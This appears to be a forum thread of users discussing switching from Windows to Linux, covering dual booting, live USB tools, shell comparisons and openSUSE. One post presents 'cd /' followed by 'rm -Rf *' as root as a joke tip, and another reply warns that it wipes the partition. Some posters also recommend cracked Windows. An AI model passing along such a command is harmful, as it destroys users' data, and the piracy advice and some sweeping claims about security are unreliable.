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My CPU Fan is realy noisy when on 100%, so I tune it down to 30% with SpeedFan Application.


The only reason why I haven't been running Linux is because I couldn't find a way of controlling Fan Speeds.


Does anyone know how I could?
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You could probably regulate the Fan Speed in your BIOS comrade! Just be wary of what you change.
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Ah! Never thought of that option! :-)

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Hey op, I am using windows 7 (cracked), so i just have updated until the sp2,
recently i figured that begins to present a kind of little breaks,
and seems the problems just will get bigger without the update.
So i am realy considering in change it to Linux, however, i worry about incompatibilities of programs and games,
my son plays on my computer and he will be pissed if i not reinstall the games.
What you say?
 Quoting: dmt vector


If you have a big enough hard drive, dual booting is a option, you don't have to have only 1 operating system on a pc.
 Quoting: Tatsuya

I like this idea of having both OS on my machine. Then I could learn Linux at my leisure and get rid of Windows once I know what I'm doing. My computer has 360 Gigs of free space left on the HD so I don't see a problem having both.
Would I just boot into Linux at the start up when I get the boot prompt?
 Quoting: my 2 cents


If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program), most distros these days have a WUBI choice, as for specific distros, well i'm not the best person to ask, the only ones i've used were ubuntu a while back and linux mint, so i haven't used linux in a while due to my pc gaming needs.
Most distro's should have a WUBI now though, excluding ones like slackware of course, so ask around and see if anyone has a version they can suggest.

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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
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Or you could just DL, burn, and boot a live distro ISO...

rolleyes
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If your computer can boot from usb drives, Unetbootin is a great way to check out all the distro's without wasting cd's or dvd's.

UNetbootin allows you to create bootable Live USB drives for Ubuntu, Fedora, and other Linux distributions without burning a CD. It runs on Windows, Linux, and Mac OS X.

[link to unetbootin.sourceforge.net]

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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
 Quoting: Tatsuya


Or you could just DL, burn, and boot a live distro ISO...

rolleyes
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Or use Win32 Disk Imager (in Windows) to put the .iso on a usb-stick so you won't need a cd/dvd.
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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
 Quoting: Tatsuya


Or you could just DL, burn, and boot a live distro ISO...

rolleyes
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True, but i'm a cheapskate, i'd prefer booting from a USB flash drive, and not spend 40 cents on something i'm not sure i'd want to keep.

But when i tried it last, that wasn't an option, so i forgot.

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90% of linux users only use linux because they think it makes them elite. The other 10% just use it because they couldnt figure out how to do something in windows that they were used to doing in linux. People act like theres no command line or encryption capabilities with windows wtf
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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
 Quoting: Tatsuya


Or you could just DL, burn, and boot a live distro ISO...

rolleyes
 Quoting: SnakeAirlines


Or use Win32 Disk Imager (in Windows) to put the .iso on a usb-stick so you won't need a cd/dvd.
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No...You just need a stick...

6 of one
half-dozen of the other
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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
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Or you could just DL, burn, and boot a live distro ISO...

rolleyes
 Quoting: SnakeAirlines


True, but i'm a cheapskate, i'd prefer booting from a USB flash drive, and not spend 40 cents on something i'm not sure i'd want to keep.

But when i tried it last, that wasn't an option, so i forgot.
 Quoting: Tatsuya


Last time I was at Staples, CD-R were $14.99/100...

lol
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If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program),
 Quoting: Tatsuya


Or you could just DL, burn, and boot a live distro ISO...

rolleyes
 Quoting: SnakeAirlines


True, but i'm a cheapskate, i'd prefer booting from a USB flash drive, and not spend 40 cents on something i'm not sure i'd want to keep.

But when i tried it last, that wasn't an option, so i forgot.
 Quoting: Tatsuya


Last time I was at Staples, CD-R were $14.99/100...

lol
 Quoting: SnakeAirlines


Again i'm a cheapskate, that and i'm pretty poor, so half the time i cannot afford 15$ and internet access at the same time.
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If only I could get my Unix (Ubuntu) distribution to compile WRF model with CUDA support. I admit I've came the closest on Unix, but still no OS to day that I've tried offered the right solution for me.

(PS!) Good luck playing anything more then FreeCiv on your Unix box, they are workhorses and mostly scientific computers. Now back to the present age, you will surely not be able to run two of my favorite games (Trainz and Wargame:European Escalation.) on it without much hassle. All those are purely my opinions of the whole Unix experience. (Have some nostalgia, install Knoppix!)
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Have you tried Scientific Linux? They have extra support for such.
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People act like theres no command line or encryption capabilities with windows
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
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90% of linux users only use linux because they think it makes them elite. The other 10% just use it because they couldnt figure out how to do something in windows that they were used to doing in linux. People act like theres no command line or encryption capabilities with windows wtf
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I use Linux because Microsoft abuses their customers. The way Windows works, they assume their entire user base is a criminal enterprise and the operating system operates off of that assumption.

Change a hard drive, reactivate Windows, change motherboard, reactivate Windows, change video card, oops, you can't reactivate Windows on your own anymore, now you have to call this number and waste your life trying to explain to some dipshit why you want to use your computer with software you legally paid for, in a manner that you best see fit for your use.

If they don't like your answer, tough shit, buy another license or turn into the criminal they always assumed you were by hacking Windows and being done with it, all so Bill Gates can give out $100,000 awards for condoms.

Done, done, and done.
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People act like theres no command line or encryption capabilities with windows
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
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As far as lacking functionality, what exactly is it that Windows cant do through the registry or commandline?

For encryption just download truecrypt, its simple.
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90% of linux users only use linux because they think it makes them elite. The other 10% just use it because they couldnt figure out how to do something in windows that they were used to doing in linux. People act like theres no command line or encryption capabilities with windows wtf
 Quoting: Anonymous Coward 3317700


I use Linux because Microsoft abuses their customers. The way Windows works, they assume their entire user base is a criminal enterprise and the operating system operates off of that assumption.

Change a hard drive, reactivate Windows, change motherboard, reactivate Windows, change video card, oops, you can't reactivate Windows on your own anymore, now you have to call this number and waste your life trying to explain to some dipshit why you want to use your computer with software you legally paid for, in a manner that you best see fit for your use.

If they don't like your answer, tough shit, buy another license or turn into the criminal they always assumed you were by hacking Windows and being done with it, all so Bill Gates can give out $100,000 awards for condoms.

Done, done, and done.
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Internet activation takes 10 seconds. If you upgrade your hardware so often that theres a problem with that, just get a cracked version cool2
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Oh Cool! Way to go.
If you really want to feel the power of linux type the following lines in a terminal as root.
cd /
rm -Rf *


enjoy!!!


LOVE LOVE LOVE this operating system!!

I went with the big deal first, (Linux Mint) but I didn't like it much to be honest. It had crash issues on my computer, the graphics were messed up a little here and there and I just didn't care for the whole look of it.

I was almost ready to give up and go back to Windows and came across a version of Linux called OpenSuse.

O.M.G.

WHAT A DIFFERENCE!! Much nicer in appearance than Mint and it hasn't crashed on me a single time in the week that I've had it.

I mean this layout is bad ass and the different things you can do with graphics and customizing your desktop are sweet. It runs VERY close to how Windows runs too so you don't have to learn a whole new skill set to get started.

If you're on the fence about Linux, trust me, they have fixed the issues, go for it. You won't regret it. It has no backdoors like Windows does, it's ENCRYPTED, it is ENTIRELY open source which means others can add to it and make it better. You really can't ask for anything more, Linux is the shit.

And it's FREE!! 5a

I have the newest version of OpenSuse, 12.2 with the KDE desktop. If you don't know what that means, like me, it's no problem, the OpenSuse website guides you every step of the way and allows you to choose which desktop you run.

Download the file, burn the image to a DVD and you're done.

I also love being able to keep my Windows with it and I have a choice which one I want to use before the computer boots up.

One thing I have noticed is that Linux doesn't support blueray/HD 1080p, so I keep a copy of Windows on my hard drive that I use solely for that. On the other hand Linux plays streaming HD content MUCH better than the other so I go to OpenSuse for that and general everyday surfing etc.

AMAZING!

If you want to get started, I can help with the setup and questions.
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DO NOT DO THIS. Period. It will delete your entire partition.

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Yeah, if you don't know what you're doing.
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I don't know what I'm doing.?.?
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Hey op, I am using windows 7 (cracked), so i just have updated until the sp2,
recently i figured that begins to present a kind of little breaks,
and seems the problems just will get bigger without the update.
So i am realy considering in change it to Linux, however, i worry about incompatibilities of programs and games,
my son plays on my computer and he will be pissed if i not reinstall the games.
What you say?
 Quoting: dmt vector


If you have a big enough hard drive, dual booting is a option, you don't have to have only 1 operating system on a pc.
 Quoting: Tatsuya

I like this idea of having both OS on my machine. Then I could learn Linux at my leisure and get rid of Windows once I know what I'm doing. My computer has 360 Gigs of free space left on the HD so I don't see a problem having both.
Would I just boot into Linux at the start up when I get the boot prompt?
 Quoting: my 2 cents


If you just want to try linux, you can easily download a WUBI (basically the version installs within windows, and can just as easily be uninstalled from windows like any program), most distros these days have a WUBI choice, as for specific distros, well i'm not the best person to ask, the only ones i've used were ubuntu a while back and linux mint, so i haven't used linux in a while due to my pc gaming needs.
Most distro's should have a WUBI now though, excluding ones like slackware of course, so ask around and see if anyone has a version they can suggest.
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Thanks for the info!
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People act like theres no command line or encryption capabilities with windows
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
 Quoting: Anonymous Coward 33568463

As far as lacking functionality, what exactly is it that Windows cant do through the registry or commandline?
 Quoting: Anonymous Coward 3317700

you can't be serious. i'm not going to spend pages explaining the wonders of a real shell to you, so i am simply going to link to the manual pages of some unix shells:
[link to www.openbsd.org]
[link to www.gnu.org]

bottom-line: the default shell in windows is capable of very few things. by the way, if you talk about the windows shell, are you talking about the default commandline, the netsh stack, the recovery console or the new powershell?

even if windows had a real shell, it would be quite useless without the many commandline tools you have a unix box. unixes had a plethora of very usefull commandline tools for three decades now. and windows still has very few. sure, there are a lot of usefull commandline tools in %system32%, but once again, it is only a fraction of what you have on a real operating system.

For encryption just download truecrypt, its simple.
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truecrypt only does symmetric encryption of block data. that is only a very small part of the cryptographic transforms used in an entire operating system.
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This message is not about spoiling the party, but saying that one operating system that operates within the same one-dimensional current-IT realm is better, bigger and greater than the other one is ... just like comparing different areas of the same swamp.
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People act like theres no command line or encryption capabilities with windows
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
 Quoting: Anonymous Coward 33568463

As far as lacking functionality, what exactly is it that Windows cant do through the registry or commandline?
 Quoting: Anonymous Coward 3317700

you can't be serious. i'm not going to spend pages explaining the wonders of a real shell to you, so i am simply going to link to the manual pages of some unix shells:
[link to www.openbsd.org]
[link to www.gnu.org]

bottom-line: the default shell in windows is capable of very few things. by the way, if you talk about the windows shell, are you talking about the default commandline, the netsh stack, the recovery console or the new powershell?

even if windows had a real shell, it would be quite useless without the many commandline tools you have a unix box. unixes had a plethora of very usefull commandline tools for three decades now. and windows still has very few. sure, there are a lot of usefull commandline tools in %system32%, but once again, it is only a fraction of what you have on a real operating system.

For encryption just download truecrypt, its simple.
 Quoting: Anonymous Coward 3317700

truecrypt only does symmetric encryption of block data. that is only a very small part of the cryptographic transforms used in an entire operating system.
 Quoting: Anonymous Coward 33568463


True - Window's "shell" of any kind is no match for a UNIX shell. Even though I do quite a bit of GUI stuff, nothing beats a nice shell and I always have one open. The command line on Windows gets used as a last resort...
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Glad you like GNU/Linux. I've been using it for about four years as my main OS. I also settled on openSUSE. For the idiots who can't think for themselves:

1. Why pay for a proprietary OS when you can get a better one for nothing?

2. Why pay for a proprietary OS when you can get one that respects your rights and yet comes at no cost?

3. Why pay for a proprietary OS which is (far) less secure that one that costs nothing?

4. Why pay for a proprietary OS when, should you so desire, you have permission (in law) to modify/improve it?

5. Why pay for a proprietary OS which treats you like an idiot (ok, you probably are an idiot)?

6. Why pay for a proprietary OS which has enslaved you and discourages you from learning to respect yourself and your rights?
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Xubuntu 13.04 beta here
+1
best system evah
my machine runs fast as never before
Im done with windows since Ive made my own megamodded barebone version (win7 sp1) - I use it only if neccessary since most things can be done from wine or virtualbox
some may say games are the problem but you can run almost any if you have some basic knowledge

the best thing are:
windows cant see linux - linux controlls everything
I can run almost everything and mod, controll, check, clean etc etc everything
Linux is the virus creator and cleaner.
Its safe and is easy to modify. You controll every aspect of the system.

There are aspects that "normal" user will never understand and thats why I will not propose it to them.
Its "elite" IMO xD

god bless free software and GPL
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People act like theres no command line or encryption capabilities with windows
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
 Quoting: Anonymous Coward 33568463

As far as lacking functionality, what exactly is it that Windows cant do through the registry or commandline?
 Quoting: Anonymous Coward 3317700

you can't be serious. i'm not going to spend pages explaining the wonders of a real shell to you, so i am simply going to link to the manual pages of some unix shells:
[link to www.openbsd.org]
[link to www.gnu.org]

bottom-line: the default shell in windows is capable of very few things. by the way, if you talk about the windows shell, are you talking about the default commandline, the netsh stack, the recovery console or the new powershell?

even if windows had a real shell, it would be quite useless without the many commandline tools you have a unix box. unixes had a plethora of very usefull commandline tools for three decades now. and windows still has very few. sure, there are a lot of usefull commandline tools in %system32%, but once again, it is only a fraction of what you have on a real operating system.

For encryption just download truecrypt, its simple.
 Quoting: Anonymous Coward 3317700

truecrypt only does symmetric encryption of block data. that is only a very small part of the cryptographic transforms used in an entire operating system.
 Quoting: Anonymous Coward 33568463


I think my point is - what real world results are you seeing from a "real shell" that one cant get from Windows?
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just get a cracked version cool2
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How much did the prison industrial complex pay you jackass ?

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China will now cooperate with Canonical - they wanna make own system Ubuntu based.
Brazil gave em a good example.
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the default shell in all varieties of windows sucks some nasty ass; it lacks just about every functionality one expects from a shell, and windows lacks just about every useful commandline userland tool. i don't know about the, rather new, powershell though...

cryptographic implementations in windows have always been a mess, even with fips-compliance and whatnot.
 Quoting: Anonymous Coward 33568463

As far as lacking functionality, what exactly is it that Windows cant do through the registry or commandline?
 Quoting: Anonymous Coward 3317700

you can't be serious. i'm not going to spend pages explaining the wonders of a real shell to you, so i am simply going to link to the manual pages of some unix shells:
[link to www.openbsd.org]
[link to www.gnu.org]

bottom-line: the default shell in windows is capable of very few things. by the way, if you talk about the windows shell, are you talking about the default commandline, the netsh stack, the recovery console or the new powershell?

even if windows had a real shell, it would be quite useless without the many commandline tools you have a unix box. unixes had a plethora of very usefull commandline tools for three decades now. and windows still has very few. sure, there are a lot of usefull commandline tools in %system32%, but once again, it is only a fraction of what you have on a real operating system.

For encryption just download truecrypt, its simple.
 Quoting: Anonymous Coward 3317700

truecrypt only does symmetric encryption of block data. that is only a very small part of the cryptographic transforms used in an entire operating system.
 Quoting: Anonymous Coward 33568463


I think my point is - what real world results are you seeing from a "real shell" that one cant get from Windows?
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Not to answer for the other AC, but there are so many things it makes it hard to narrow down without specific-use cases. So, as a singular example - if you are working in web design or software programming, the command-line text processing tools are incredibly powerful for making changes, renaming files, etc. Another example would be system maintenance. Since most UNIX-based or UNIX-like systems use text configuration files, it makes administration very fast and simple. That's two, there are plenty of others. Unfortunately, without having experienced both, it's hard to imagine the difference between them and somewhat difficult to explain them. The other AC posted links to two different shells' manual files - even a quick glimpse through those would give you a pretty good idea of what they are capable of. Now, if all you do is surf the web and play games or do photoshop, you'd never know the difference, so it is all about YOUR workflow.
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sadly, as much as i like linux,
i have read that windows and intell, and the major makers
of computers are going to to the one OS system per computer,
based in the bios or computer hardware,
so at some point linux users will be shit out luck.
they will just make it against the law, if they allready have not, to chnage your OS.
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sadly, as much as i like linux,
i have read that windows and intell, and the major makers
of computers are going to to the one OS system per computer,
based in the bios or computer hardware,
so at some point linux users will be shit out luck.
they will just make it against the law, if they allready have not, to chnage your OS.
 Quoting: Anonymous Coward 37261972


get real
mono is against the law

Last Edited by Lupus on 04/01/2013 03:16 PM
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Re: Linux is AWESOME!!!
sadly, as much as i like linux,
i have read that windows and intell, and the major makers
of computers are going to to the one OS system per computer,
based in the bios or computer hardware,
so at some point linux users will be shit out luck.
they will just make it against the law, if they allready have not, to chnage your OS.
 Quoting: Anonymous Coward 37261972


get real
mono is against the law
 Quoting: Lupus


besides - google is on the linux side
(and dont forget apple would also help to sue the shit out of em)
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